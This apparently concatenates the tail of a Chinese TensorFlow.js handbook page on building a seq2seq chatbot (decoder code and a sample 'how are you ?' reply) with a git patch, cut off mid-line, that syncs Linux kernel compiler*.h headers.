class="nx">encoderInputs</span><span class="p">,</span> <span class="nx">outputs</span><span class="o">:</span> <span class="nx">encoderState</span><span class="p">,</span> <span class="p">})</span> </pre></div> </div> <p><code class="docutils literal notranslate"><span class="pre">deocoderModel</span></code> 的输入有两个,分别是 t 时刻的 token indice,和对应的解码器 <code class="docutils literal notranslate"><span class="pre">state</span></code>;输出也有两个,分别是 t+1 时刻的 token 的 voc 分布概率,和对应的解码器 <code class="docutils literal notranslate"><span class="pre">state</span></code> :</p> <p><code class="docutils literal notranslate"><span class="pre">decoderModel</span></code> 子模型具体实现如下:</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">const</span> <span class="nx">decoderInput</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">input</span><span class="p">({</span> <span class="nx">shape</span><span class="o">:</span> <span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;decoderInputs&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">decoderStateInput</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">input</span><span class="p">({</span> <span class="nx">shape</span><span class="o">:</span> <span class="p">[</span><span class="nx">latentDim</span><span class="p">],</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;decoderState&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span> <span class="kr">const</span> <span class="nx">decoderEmbedding</span> <span class="o">=</span> <span class="nx">decoderEmbeddingLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">decoderInput</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span> <span class="kr">const</span> <span class="p">[</span><span class="nx">decoderOutputs</span><span class="p">,</span> <span class="nx">decoderStateOutput</span><span class="p">]</span> <span class="o">=</span> <span class="nx">decoderRnnLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span> <span class="p">[</span><span class="nx">decoderEmbedding</span><span class="p">,</span> <span class="nx">decoderStateInput</span><span class="p">],</span> <span class="p">{</span> <span class="nx">returnState</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="p">},</span> <span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span><span class="p">[]</span> <span class="kr">const</span> <span class="nx">decoderDenseOutputs</span> <span class="o">=</span> <span class="nx">decoderDenseLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">decoderOutputs</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span> <span class="kr">const</span> <span class="nx">decoderModel</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">model</span><span class="p">({</span> <span class="nx">inputs</span><span class="o">:</span> <span class="p">[</span><span class="nx">decoderInput</span><span class="p">,</span> <span class="nx">decoderStateInput</span><span class="p">],</span> <span class="nx">outputs</span><span class="o">:</span> <span class="p">[</span><span class="nx">decoderDenseOutputs</span><span class="p">,</span> <span class="nx">decoderStateOutput</span><span class="p">],</span> <span class="p">})</span> </pre></div> </div> <p>最后,我们需要一个用来对话的程序。我们建立一个专门用来接收一句话输入,然后通过我们的模型预测,得到序列输出的函数 <code class="docutils literal notranslate"><span class="pre">seq2seqDecoder()</span></code> :</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">export</span> <span class="nx">async</span> <span class="kd">function</span> <span class="nx">seq2seqDecoder</span> <span class="p">(</span> <span class="nx">input</span><span class="o">:</span> <span class="nx">string</span><span class="p">,</span> <span class="nx">encoderModel</span><span class="o">:</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">LayersModel</span><span class="p">,</span> <span class="nx">decoderModel</span><span class="o">:</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">LayersModel</span><span class="p">,</span> <span class="nx">voc</span><span class="o">:</span> <span class="nx">Vocabulary</span><span class="p">,</span> <span class="p">)</span><span class="o">:</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="nx">string</span><span class="o">&gt;</span> <span class="p">{</span> <span class="kr">const</span> <span class="nx">inputSeq</span> <span class="o">=</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">sequenize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="kr">const</span> <span class="nx">inputTensor</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">tensor</span><span class="p">(</span><span class="nx">inputSeq</span><span class="p">)</span> <span class="kr">const</span> <span class="nx">batchedInput</span> <span class="o">=</span> <span class="nx">inputTensor</span><span class="p">.</span><span class="nx">expandDims</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="kd">let</span> <span class="nx">state</span> <span class="o">=</span> <span class="nx">encoderModel</span><span class="p">.</span><span class="nx">predict</span><span class="p">(</span><span class="nx">batchedInput</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R2</span><span class="o">&gt;</span> <span class="kd">let</span> <span class="nx">tokenIndice</span> <span class="o">=</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">indice</span><span class="p">(</span><span class="nx">START_TOKEN</span><span class="p">)</span> <span class="kd">let</span> <span class="nx">decoderOutputs</span><span class="o">:</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R3</span><span class="o">&gt;</span> <span class="kd">let</span> <span class="nx">decodedToken</span><span class="o">:</span> <span class="nx">string</span> <span class="kd">let</span> <span class="nx">decodedTokenList</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">do</span> <span class="p">{</span> <span class="kr">const</span> <span class="nx">decoderInputs</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">tensor</span><span class="p">(</span><span class="nx">tokenIndice</span><span class="p">).</span><span class="nx">reshape</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R2</span><span class="o">&gt;</span> <span class="p">;[</span><span class="nx">decoderOutputs</span><span class="p">,</span> <span class="nx">state</span><span class="p">]</span> <span class="o">=</span> <span class="nx">decoderModel</span><span class="p">.</span><span class="nx">predict</span><span class="p">([</span> <span class="nx">decoderInputs</span><span class="p">,</span> <span class="nx">state</span><span class="p">,</span> <span class="p">])</span> <span class="nx">as</span> <span class="p">[</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R3</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R2</span><span class="o">&gt;</span><span class="p">,</span> <span class="p">]</span> <span class="kd">let</span> <span class="nx">decodedIndice</span> <span class="o">=</span> <span class="nx">await</span> <span class="nx">decoderOutputs</span> <span class="p">.</span><span class="nx">squeeze</span><span class="p">()</span> <span class="p">.</span><span class="nx">argMax</span><span class="p">()</span> <span class="p">.</span><span class="nx">array</span><span class="p">()</span> <span class="nx">as</span> <span class="nx">number</span> <span class="k">if</span> <span class="p">(</span><span class="nx">decodedIndice</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// 0 for padding, should be treated as END</span> <span class="nx">decodedToken</span> <span class="o">=</span> <span class="nx">END_TOKEN</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nx">decodedToken</span> <span class="o">=</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">token</span><span class="p">(</span><span class="nx">decodedIndice</span><span class="p">)</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nx">decodedToken</span> <span class="o">===</span> <span class="nx">END_TOKEN</span><span class="p">)</span> <span class="p">{</span> <span class="k">break</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nx">decodedTokenList</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">decodedToken</span><span class="p">)</span> <span class="p">}</span> <span class="c1">// save decoded data for next time step</span> <span class="nx">tokenIndice</span> <span class="o">=</span> <span class="nx">decodedIndice</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nx">decodedTokenList</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">maxSeqLength</span><span class="p">)</span> <span class="k">return</span> <span class="nx">decodedTokenList</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">)</span> <span class="p">}</span> </pre></div> </div> <p>最后,我们就可以用我们训练好的Seq2Seq模型,实现我们的 ChitChat 聊天功能了:</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">const</span> <span class="nx">input</span> <span class="o">=</span> <span class="s1">&#39;how are you ?&#39;</span> <span class="kr">const</span> <span class="nx">decodedOutput</span> <span class="o">=</span> <span class="nx">await</span> <span class="nx">seq2seqDecoder</span><span class="p">(</span> <span class="nx">input</span><span class="p">,</span> <span class="nx">encoderModel</span><span class="p">,</span> <span class="nx">decoderModel</span><span class="p">,</span> <span class="nx">inputVoc</span><span class="p">,</span> <span class="nx">outputVoc</span><span class="p">,</span> <span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Input sentence: &quot;</span><span class="si">${</span><span class="nx">input</span><span class="si">}</span><span class="sb">&quot;`</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Decoded sentence: &quot;</span><span class="si">${</span><span class="nx">decodedOutput</span><span class="si">}</span><span class="sb">&quot;`</span><span class="p">)</span> </pre></div> </div> <p>模型每次的训练,得到的结果都会不尽相同。作者的某一次输出的内容是下面这样的:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span>Input sentence: &quot;how are you ?&quot; Decoded setence: &quot;good .&quot; </pre></div> </div> <p>注:本章节中的 JavaScript 版 ChitChat 完整代码,使用说明,和训练好的模型文件及参数,都可以在作者的 GitHub 上找到。地址: <a class="reference external" href="https://github.com/huan/tensorflow-handbook-javascript">https://github.com/huan/tensorflow-handbook-javascript</a></p> </div> </div> </div> <footer> <hr/> <div role="contentinfo"> <p> &copy; Copyright 2018-2020, Xihan Li (snowkylin) </p> </div> Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. </footer> </div> </div> </section> </div> <script type="text/javascript"> jQuery(function () { SphinxRtdTheme.Navigation.enable(true); }); </script> <!-- Theme Analytics --> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-40509304-12', 'auto'); ga('send', 'pageview'); </script> </body> </html>
{ "pile_set_name": "Github" }
From 9b2c282b348dfe966bbba967dc7a45ce817cce50 Mon Sep 17 00:00:00 2001 From: Tom Rini <[email protected]> Date: Mon, 29 Feb 2016 11:34:15 -0500 Subject: [PATCH] compiler*.h: sync include/linux/compiler*.h with Linux 4.5-rc6 Copy these from Linux v4.5-rc6 tag. This is needed so that we can keep up with newer gcc versions. Note that we don't have the uapi/ hierarchy from the kernel so continue to use <linux/types.h> Signed-off-by: Tom Rini <[email protected]> Signed-off-by: Peter Korsgaard <[email protected]> --- include/linux/compiler-gcc.h | 259 ++++++++++++++++++++++++++++++++--------- include/linux/compiler-gcc3.h | 23 ---- include/linux/compiler-gcc4.h | 88 -------------- include/linux/compiler-gcc5.h | 65 ----------- include/linux/compiler-intel.h | 5 + include/linux/compiler.h | 178 ++++++++++++++++++++++++++-- 6 files changed, 383 insertions(+), 235 deletions(-) delete mode 100644 include/linux/compiler-gcc3.h delete mode 100644 include/linux/compiler-gcc4.h delete mode 100644 include/linux/compiler-gcc5.h diff --git a/include/linux/compiler-gcc.h b/include/linux/compiler-gcc.h index e057bd2a84..22ab246fee 100644 --- a/include/linux/compiler-gcc.h +++ b/include/linux/compiler-gcc.h @@ -5,14 +5,28 @@ /* * Common definitions for all gcc versions go here. */ -#define GCC_VERSION (__GNUC__ * 10000 \ - + __GNUC_MINOR__ * 100 \ - + __GNUC_PATCHLEVEL__) - +#define GCC_VERSION (__GNUC__ * 10000 \ + + __GNUC_MINOR__ * 100 \ + + __GNUC_PATCHLEVEL__) /* Optimization barrier */ + /* The "volatile" is due to gcc bugs */ #define barrier() __asm__ __volatile__("": : :"memory") +/* + * This version is i.e. to prevent dead stores elimination on @ptr + * where gcc and llvm may behave differently when otherwise using + * normal barrier(): while gcc behavior gets along with a normal + * barrier(), llvm needs an explicit input variable to be assumed + * clobbered. The issue is as follows: while the inline asm might + * access any memory it wants, the compiler could have fit all of + * @ptr into memory registers instead, and since @ptr never escaped + * from that, it proofed that the inline asm wasn't touching any of + * it. This version works well with both compilers, i.e. we're telling + * the compiler that the inline asm absolutely may see the contents + * of @ptr. See also: https://llvm.org/bugs/show_bug.cgi?id=15495 + */ +#define barrier_data(ptr) __asm__ __volatile__("": :"r"(ptr) :"memory") /* * This macro obfuscates arithmetic on a variable address so that gcc @@ -32,58 +46,63 @@ * the inline assembly constraint from =g to =r, in this particular * case either is valid. */ -#define RELOC_HIDE(ptr, off) \ - ({ unsigned long __ptr; \ - __asm__ ("" : "=r"(__ptr) : "0"(ptr)); \ - (typeof(ptr)) (__ptr + (off)); }) +#define RELOC_HIDE(ptr, off) \ +({ \ + unsigned long __ptr; \ + __asm__ ("" : "=r"(__ptr) : "0"(ptr)); \ + (typeof(ptr)) (__ptr + (off)); \ +}) /* Make the optimizer believe the variable can be manipulated arbitrarily. */ -#define OPTIMIZER_HIDE_VAR(var) __asm__ ("" : "=r" (var) : "0" (var)) +#define OPTIMIZER_HIDE_VAR(var) \ + __asm__ ("" : "=r" (var) : "0" (var)) #ifdef __CHECKER__ -#define __must_be_array(arr) 0 +#define __must_be_array(a) 0 #else /* &a[0] degrades to a pointer: a different type from an array */ -#define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0])) +#define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0])) #endif /* * Force always-inline if the user requests it so via the .config, * or if gcc is too old: */ -#if !defined(CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING) || \ +#if !defined(CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING) || \ !defined(CONFIG_OPTIMIZE_INLINING) || (__GNUC__ < 4) -# define inline inline __attribute__((always_inline)) notrace -# define __inline__ __inline__ __attribute__((always_inline)) notrace -# define __inline __inline __attribute__((always_inline)) notrace +#define inline inline __attribute__((always_inline)) notrace +#define __inline__ __inline__ __attribute__((always_inline)) notrace +#define __inline __inline __attribute__((always_inline)) notrace #else /* A lot of inline functions can cause havoc with function tracing */ -# define inline inline notrace -# define __inline__ __inline__ notrace -# define __inline __inline notrace +#define inline inline notrace +#define __inline__ __inline__ notrace +#define __inline __inline notrace #endif -#define __deprecated __attribute__((deprecated)) -#ifndef __packed -#define __packed __attribute__((packed)) -#endif -#ifndef __weak -#define __weak __attribute__((weak)) -#endif +#define __always_inline inline __attribute__((always_inline)) +#define noinline __attribute__((noinline)) + +#define __deprecated __attribute__((deprecated)) +#define __packed __attribute__((packed)) +#define __weak __attribute__((weak)) +#define __alias(symbol) __attribute__((alias(#symbol))) /* - * it doesn't make sense on ARM (currently the only user of __naked) to trace - * naked functions because then mcount is called without stack and frame pointer - * being set up and there is no chance to restore the lr register to the value - * before mcount was called. + * it doesn't make sense on ARM (currently the only user of __naked) + * to trace naked functions because then mcount is called without + * stack and frame pointer being set up and there is no chance to + * restore the lr register to the value before mcount was called. + * + * The asm() bodies of naked functions often depend on standard calling + * conventions, therefore they must be noinline and noclone. * - * The asm() bodies of naked functions often depend on standard calling conventions, - * therefore they must be noinline and noclone. GCC 4.[56] currently fail to enforce - * this, so we must do so ourselves. See GCC PR44290. + * GCC 4.[56] currently fail to enforce this, so we must do so ourselves. + * See GCC PR44290. */ -#define __naked __attribute__((naked)) noinline __noclone notrace +#define __naked __attribute__((naked)) noinline __noclone notrace -#define __noreturn __attribute__((noreturn)) +#define __noreturn __attribute__((noreturn)) /* * From the GCC manual: @@ -95,34 +114,170 @@ * would be. * [...] */ -#ifndef __pure -#define __pure __attribute__((pure)) +#define __pure __attribute__((pure)) +#define __aligned(x) __attribute__((aligned(x))) +#define __printf(a, b) __attribute__((format(printf, a, b))) +#define __scanf(a, b) __attribute__((format(scanf, a, b))) +#define __attribute_const__ __attribute__((__const__)) +#define __maybe_unused __attribute__((unused)) +#define __always_unused __attribute__((unused)) + +/* gcc version specific checks */ + +#if GCC_VERSION < 30200 +# error Sorry, your compiler is too old - please upgrade it. +#endif + +#if GCC_VERSION < 30300 +# define __used __attribute__((__unused__)) +#else +# define __used __attribute__((__used__)) +#endif + +#ifdef CONFIG_GCOV_KERNEL +# if GCC_VERSION < 30400 +# error "GCOV profiling support for gcc versions below 3.4 not included" +# endif /* __GNUC_MINOR__ */ +#endif /* CONFIG_GCOV_KERNEL */ + +#if GCC_VERSION >= 30400 +#define __must_check __attribute__((warn_unused_result)) +#endif + +#if GCC_VERSION >= 40000 + +/* GCC 4.1.[01] miscompiles __weak */ +#ifdef __KERNEL__ +# if GCC_VERSION >= 40100 && GCC_VERSION <= 40101 +# error Your version of gcc miscompiles the __weak directive +# endif +#endif + +#define __used __attribute__((__used__)) +#define __compiler_offsetof(a, b) \ + __builtin_offsetof(a, b) + +#if GCC_VERSION >= 40100 && GCC_VERSION < 40600 +# define __compiletime_object_size(obj) __builtin_object_size(obj, 0) +#endif + +#if GCC_VERSION >= 40300 +/* Mark functions as cold. gcc will assume any path leading to a call + * to them will be unlikely. This means a lot of manual unlikely()s + * are unnecessary now for any paths leading to the usual suspects + * like BUG(), printk(), panic() etc. [but let's keep them for now for + * older compilers] + * + * Early snapshots of gcc 4.3 don't support this and we can't detect this + * in the preprocessor, but we can live with this because they're unreleased. + * Maketime probing would be overkill here. + * + * gcc also has a __attribute__((__hot__)) to move hot functions into + * a special section, but I don't see any sense in this right now in + * the kernel context + */ +#define __cold __attribute__((__cold__)) + +#define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __COUNTER__) + +#ifndef __CHECKER__ +# define __compiletime_warning(message) __attribute__((warning(message))) +# define __compiletime_error(message) __attribute__((error(message))) +#endif /* __CHECKER__ */ +#endif /* GCC_VERSION >= 40300 */ + +#if GCC_VERSION >= 40500 +/* + * Mark a position in code as unreachable. This can be used to + * suppress control flow warnings after asm blocks that transfer + * control elsewhere. + * + * Early snapshots of gcc 4.5 don't support this and we can't detect + * this in the preprocessor, but we can live with this because they're + * unreleased. Really, we need to have autoconf for the kernel. + */ +#define unreachable() __builtin_unreachable() + +/* Mark a function definition as prohibited from being cloned. */ +#define __noclone __attribute__((__noclone__)) + +#endif /* GCC_VERSION >= 40500 */ + +#if GCC_VERSION >= 40600 +/* + * When used with Link Time Optimization, gcc can optimize away C functions or + * variables which are referenced only from assembly code. __visible tells the + * optimizer that something else uses this function or variable, thus preventing + * this. + */ +#define __visible __attribute__((externally_visible)) #endif -#ifndef __aligned -#define __aligned(x) __attribute__((aligned(x))) + + +#if GCC_VERSION >= 40900 && !defined(__CHECKER__) +/* + * __assume_aligned(n, k): Tell the optimizer that the returned + * pointer can be assumed to be k modulo n. The second argument is + * optional (default 0), so we use a variadic macro to make the + * shorthand. + * + * Beware: Do not apply this to functions which may return + * ERR_PTRs. Also, it is probably unwise to apply it to functions + * returning extra information in the low bits (but in that case the + * compiler should see some alignment anyway, when the return value is + * massaged by 'flags = ptr & 3; ptr &= ~3;'). + */ +#define __assume_aligned(a, ...) __attribute__((__assume_aligned__(a, ## __VA_ARGS__))) #endif -#define __printf(a, b) __attribute__((format(printf, a, b))) -#define __scanf(a, b) __attribute__((format(scanf, a, b))) -#define noinline __attribute__((noinline)) -#define __attribute_const__ __attribute__((__const__)) -#define __maybe_unused __attribute__((unused)) -#define __always_unused __attribute__((unused)) -#define __gcc_header(x) #x -#define _gcc_header(x) __gcc_header(linux/compiler-gcc##x.h) -#define gcc_header(x) _gcc_header(x) -#include gcc_header(__GNUC__) +/* + * GCC 'asm goto' miscompiles certain code sequences: + * + * http://gcc.gnu.org/bugzilla/show_bug.cgi?id=58670 + * + * Work it around via a compiler barrier quirk suggested by Jakub Jelinek. + * + * (asm goto is automatically volatile - the naming reflects this.) + */ +#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0) + +#ifdef CONFIG_ARCH_USE_BUILTIN_BSWAP +#if GCC_VERSION >= 40400 +#define __HAVE_BUILTIN_BSWAP32__ +#define __HAVE_BUILTIN_BSWAP64__ +#endif +#if GCC_VERSION >= 40800 || (defined(__powerpc__) && GCC_VERSION >= 40600) +#define __HAVE_BUILTIN_BSWAP16__ +#endif +#endif /* CONFIG_ARCH_USE_BUILTIN_BSWAP */ + +#if GCC_VERSION >= 50000 +#define KASAN_ABI_VERSION 4 +#elif GCC_VERSION >= 40902 +#define KASAN_ABI_VERSION 3 +#endif + +#if GCC_VERSION >= 40902 +/* + * Tell the compiler that address safety instrumentation (KASAN) + * should not be applied to that function. + * Conflicts with inlining: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=67368 + */ +#define __no_sanitize_address __attribute__((no_sanitize_address)) +#endif + +#endif /* gcc version >= 40000 specific checks */ #if !defined(__noclone) #define __noclone /* not needed */ #endif +#if !defined(__no_sanitize_address) +#define __no_sanitize_address +#endif + /* * A trick to suppress uninitialized variable warning without generating any * code */ #define uninitialized_var(x) x = x - -#ifndef __always_inline -#define __always_inline inline __attribute__((always_inline)) -#endif diff --git a/include/linux/compiler-gcc3.h b/include/linux/compiler-gcc3.h deleted file mode 100644 index 7d89febe4d..0000000000 --- a/include/linux/compiler-gcc3.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef __LINUX_COMPILER_H -#error "Please don't include <linux/compiler-gcc3.h> directly, include <linux/compiler.h> instead." -#endif - -#if GCC_VERSION < 30200 -# error Sorry, your compiler is too old - please upgrade it. -#endif - -#if GCC_VERSION >= 30300 -# define __used __attribute__((__used__)) -#else -# define __used __attribute__((__unused__)) -#endif - -#if GCC_VERSION >= 30400 -#define __must_check __attribute__((warn_unused_result)) -#endif - -#ifdef CONFIG_GCOV_KERNEL -# if GCC_VERSION < 30400 -# error "GCOV profiling support for gcc versions below 3.4 not included" -# endif /* __GNUC_MINOR__ */ -#endif /* CONFIG_GCOV_KERNEL */ diff --git a/include/linux/compiler-gcc4.h b/include/linux/compiler-gcc4.h deleted file mode 100644 index 2507fd2a1e..0000000000 --- a/include/linux/compiler-gcc4.h +++ /dev/null @@ -1,88 +0,0 @@ -#ifndef __LINUX_COMPILER_H -#error "Please don't include <linux/compiler-gcc4.h> directly, include <linux/compiler.h> instead." -#endif - -/* GCC 4.1.[01] miscompiles __weak */ -#ifdef __KERNEL__ -# if GCC_VERSION >= 40100 && GCC_VERSION <= 40101 -# error Your version of gcc miscompiles the __weak directive -# endif -#endif - -#define __used __attribute__((__used__)) -#define __must_check __attribute__((warn_unused_result)) -#define __compiler_offsetof(a,b) __builtin_offsetof(a,b) - -#if GCC_VERSION >= 40100 && GCC_VERSION < 40600 -# define __compiletime_object_size(obj) __builtin_object_size(obj, 0) -#endif - -#if GCC_VERSION >= 40300 -/* Mark functions as cold. gcc will assume any path leading to a call - to them will be unlikely. This means a lot of manual unlikely()s - are unnecessary now for any paths leading to the usual suspects - like BUG(), printk(), panic() etc. [but let's keep them for now for - older compilers] - - Early snapshots of gcc 4.3 don't support this and we can't detect this - in the preprocessor, but we can live with this because they're unreleased. - Maketime probing would be overkill here. - - gcc also has a __attribute__((__hot__)) to move hot functions into - a special section, but I don't see any sense in this right now in - the kernel context */ -#define __cold __attribute__((__cold__)) - -#define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __COUNTER__) - -#ifndef __CHECKER__ -# define __compiletime_warning(message) __attribute__((warning(message))) -# define __compiletime_error(message) __attribute__((error(message))) -#endif /* __CHECKER__ */ -#endif /* GCC_VERSION >= 40300 */ - -#if GCC_VERSION >= 40500 -/* - * Mark a position in code as unreachable. This can be used to - * suppress control flow warnings after asm blocks that transfer - * control elsewhere. - * - * Early snapshots of gcc 4.5 don't support this and we can't detect - * this in the preprocessor, but we can live with this because they're - * unreleased. Really, we need to have autoconf for the kernel. - */ -#define unreachable() __builtin_unreachable() - -/* Mark a function definition as prohibited from being cloned. */ -#define __noclone __attribute__((__noclone__)) - -#endif /* GCC_VERSION >= 40500 */ - -#if GCC_VERSION >= 40600 -/* - * Tell the optimizer that something else uses this function or variable. - */ -#define __visible __attribute__((externally_visible)) -#endif - -/* - * GCC 'asm goto' miscompiles certain code sequences: - * - * http://gcc.gnu.org/bugzilla/show_bug.cgi?id=58670 - * - * Work it around via a compiler barrier quirk suggested by Jakub Jelinek. - * Fixed in GCC 4.8.2 and later versions. - * - * (asm goto is automatically volatile - the naming reflects this.) - */ -#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0) - -#ifdef CONFIG_ARCH_USE_BUILTIN_BSWAP -#if GCC_VERSION >= 40400 -#define __HAVE_BUILTIN_BSWAP32__ -#define __HAVE_BUILTIN_BSWAP64__ -#endif -#if GCC_VERSION >= 40800 || (defined(__powerpc__) && GCC_VERSION >= 40600) -#define __HAVE_BUILTIN_BSWAP16__ -#endif -#endif /* CONFIG_ARCH_USE_BUILTIN_BSWAP */ diff --git a/include/linux/compiler-gcc5.h b/include/linux/compiler-gcc5.h deleted file mode 100644 index c8c5659525..0000000000 --- a/include/linux/compiler-gcc5.h +++ /dev/null @@ -1,65 +0,0 @@ -#ifndef __LINUX_COMPILER_H -#error "Please don't include <linux/compiler-gcc5.h> directly, include <linux/compiler.h> instead." -#endif - -#define __used __attribute__((__used__)) -#define __must_check __attribute__((warn_unused_result)) -#define __compiler_offsetof(a, b) __builtin_offsetof(a, b) - -/* Mark functions as cold. gcc will assume any path leading to a call - to them will be unlikely. This means a lot of manual unlikely()s - are unnecessary now for any paths leading to the usual suspects - like BUG(), printk(), panic() etc. [but let's keep them for now for - older compilers] - - Early snapshots of gcc 4.3 don't support this and we can't detect this - in the preprocessor, but we can live with this because they're unreleased. - Maketime probing would be overkill here. - - gcc also has a __attribute__((__hot__)) to move hot functions into - a special section, but I don't see any sense in this right now in - the kernel context */ -#define __cold __attribute__((__cold__)) - -#define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __COUNTER__) - -#ifndef __CHECKER__ -# define __compiletime_warning(message) __attribute__((warning(message))) -# define __compiletime_error(message) __attribute__((error(message))) -#endif /* __CHECKER__ */ - -/* - * Mark a position in code as unreachable. This can be used to - * suppress control flow warnings after asm blocks that transfer - * control elsewhere. - * - * Early snapshots of gcc 4.5 don't support this and we can't detect - * this in the preprocessor, but we can live with this because they're - * unreleased. Really, we need to have autoconf for the kernel. - */ -#define unreachable() __builtin_unreachable() - -/* Mark a function definition as prohibited from being cloned. */ -#define __noclone __attribute__((__noclone__)) - -/* - * Tell the optimizer that something else uses this function or variable. - */ -#define __visible __attribute__((externally_visible)) - -/* - * GCC 'asm goto' miscompiles certain code sequences: - * - * http://gcc.gnu.org/bugzilla/show_bug.cgi?id=58670 - * - * Work it around via a compiler barrier quirk suggested by Jakub Jelinek. - * - * (asm goto is automatically volatile - the naming reflects this.) - */ -#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0) - -#ifdef CONFIG_ARCH_USE_BUILTIN_BSWAP -#define __HAVE_BUILTIN_BSWAP32__ -#define __HAVE_BUILTIN_BSWAP64__ -#define __HAVE_BUILTIN_BSWAP16__ -#endif /* CONFIG_ARCH_USE_BUILTIN_BSWAP */ diff --git a/include/linux/compiler-intel.h b/include/linux/compiler-intel.h index ba147a1727..d4c71132d0 100644 --- a/include/linux/compiler-intel.h +++ b/include/linux/compiler-intel.h @@ -13,9 +13,14 @@ /* Intel ECC compiler doesn't support gcc specific asm stmts. * It uses intrinsics to do the equivalent things. */ +#undef barrier +#undef barrier_data #undef RELOC_HIDE #undef OPTIMIZER_HIDE_VAR +#define barrier() __memory_barrier() +#define barrier_data(ptr) barrier() + #define RELOC_HIDE(ptr, off) \ ({ unsigned long __ptr; \ __ptr = (unsigned long) (ptr); \ diff --git a/include/linux/compiler.h b/include/linux/compiler.h index d5ad7b1118..020ad16a04 100644 --- a/include/linux/compiler.h +++ b/include/linux/compiler.h @@ -17,6 +17,7 @@ # define __release(x) __context__(x,-1) # define 